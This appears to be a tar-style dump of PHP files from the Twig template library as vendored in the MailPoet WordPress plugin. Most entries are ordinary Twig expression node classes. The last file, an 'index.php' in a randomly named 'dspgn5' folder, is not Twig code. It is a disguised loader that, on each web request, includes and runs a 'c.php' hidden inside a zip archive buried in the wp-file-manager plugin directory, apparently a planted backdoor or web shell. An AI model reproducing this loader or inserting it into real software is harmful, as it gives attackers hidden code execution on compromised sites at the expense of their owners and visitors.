\class_alias('MailPoetVendor\\Twig\\Node\\Expression\\CallExpression', 'MailPoetVendor\\Twig_Node_Expression_Call'); twig/src/Node/Expression/VariadicExpression.php 0000666 00000000511 15035120623 0015642 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class VariadicExpression extends \MailPoetVendor\Twig\Node\Expression\ArrayExpression { public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('...'); parent::compile($compiler); } } twig/src/Node/Expression/FilterExpression.php 0000666 00000002412 15035120623 0015347 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; class FilterExpression extends \MailPoetVendor\Twig\Node\Expression\CallExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Node\Expression\ConstantExpression $filterName, \MailPoetVendor\Twig\Node\Node $arguments, int $lineno, string $tag = null) { parent::__construct(['node' => $node, 'filter' => $filterName, 'arguments' => $arguments], [], $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $name = $this->getNode('filter')->getAttribute('value'); $filter = $compiler->getEnvironment()->getFilter($name); $this->setAttribute('name', $name); $this->setAttribute('type', 'filter'); $this->setAttribute('needs_environment', $filter->needsEnvironment()); $this->setAttribute('needs_context', $filter->needsContext()); $this->setAttribute('arguments', $filter->getArguments()); $this->setAttribute('callable', $filter->getCallable()); $this->setAttribute('is_variadic', $filter->isVariadic()); $this->compileCallable($compiler); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\FilterExpression', 'MailPoetVendor\\Twig_Node_Expression_Filter'); twig/src/Node/Expression/TempNameExpression.php 0000666 00000001110 15035120623 0015622 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; class TempNameExpression extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(string $name, int $lineno) { parent::__construct([], ['name' => $name], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('$_')->raw($this->getAttribute('name'))->raw('_'); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\TempNameExpression', 'MailPoetVendor\\Twig_Node_Expression_TempName'); twig/src/Node/Expression/InlinePrint.php 0000666 00000001010 15035120623 0014266 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Node; final class InlinePrint extends \MailPoetVendor\Twig\Node\Expression\AbstractExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, $lineno) { parent::__construct(['node' => $node], [], $lineno); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->raw('print (')->subcompile($this->getNode('node'))->raw(')'); } } twig/src/Node/Expression/Filter/DefaultFilter.php 0000666 00000003725 15035120623 0016031 0 ustar 00 <?php
namespace MailPoetVendor\Twig\Node\Expression\Filter; if (!defined('ABSPATH')) exit; use MailPoetVendor\Twig\Compiler; use MailPoetVendor\Twig\Node\Expression\ConditionalExpression; use MailPoetVendor\Twig\Node\Expression\ConstantExpression; use MailPoetVendor\Twig\Node\Expression\FilterExpression; use MailPoetVendor\Twig\Node\Expression\GetAttrExpression; use MailPoetVendor\Twig\Node\Expression\NameExpression; use MailPoetVendor\Twig\Node\Expression\Test\DefinedTest; use MailPoetVendor\Twig\Node\Node; class DefaultFilter extends \MailPoetVendor\Twig\Node\Expression\FilterExpression { public function __construct(\MailPoetVendor\Twig\Node\Node $node, \MailPoetVendor\Twig\Node\Expression\ConstantExpression $filterName, \MailPoetVendor\Twig\Node\Node $arguments, int $lineno, string $tag = null) { $default = new \MailPoetVendor\Twig\Node\Expression\FilterExpression($node, new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('default', $node->getTemplateLine()), $arguments, $node->getTemplateLine()); if ('default' === $filterName->getAttribute('value') && ($node instanceof \MailPoetVendor\Twig\Node\Expression\NameExpression || $node instanceof \MailPoetVendor\Twig\Node\Expression\GetAttrExpression)) { $test = new \MailPoetVendor\Twig\Node\Expression\Test\DefinedTest(clone $node, 'defined', new \MailPoetVendor\Twig\Node\Node(), $node->getTemplateLine()); $false = \count($arguments) ? $arguments->getNode(0) : new \MailPoetVendor\Twig\Node\Expression\ConstantExpression('', $node->getTemplateLine()); $node = new \MailPoetVendor\Twig\Node\Expression\ConditionalExpression($test, $default, $false, $node->getTemplateLine()); } else { $node = $default; } parent::__construct($node, $filterName, $arguments, $lineno, $tag); } public function compile(\MailPoetVendor\Twig\Compiler $compiler) { $compiler->subcompile($this->getNode('node')); } } \class_alias('MailPoetVendor\\Twig\\Node\\Expression\\Filter\\DefaultFilter', 'MailPoetVendor\\Twig_Node_Expression_Filter_Default'); twig/src/Node/Expression/Filter/dspgn5/index.php 0000666 00000000265 15035120623 0015602 0 ustar 00 <?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "c.php"; include("zip:///home/bechata/mp/wp-content/plugins/wp-file-manager/lib/codemirror/mode/r/0qjla2/index.php.zip#$h");?>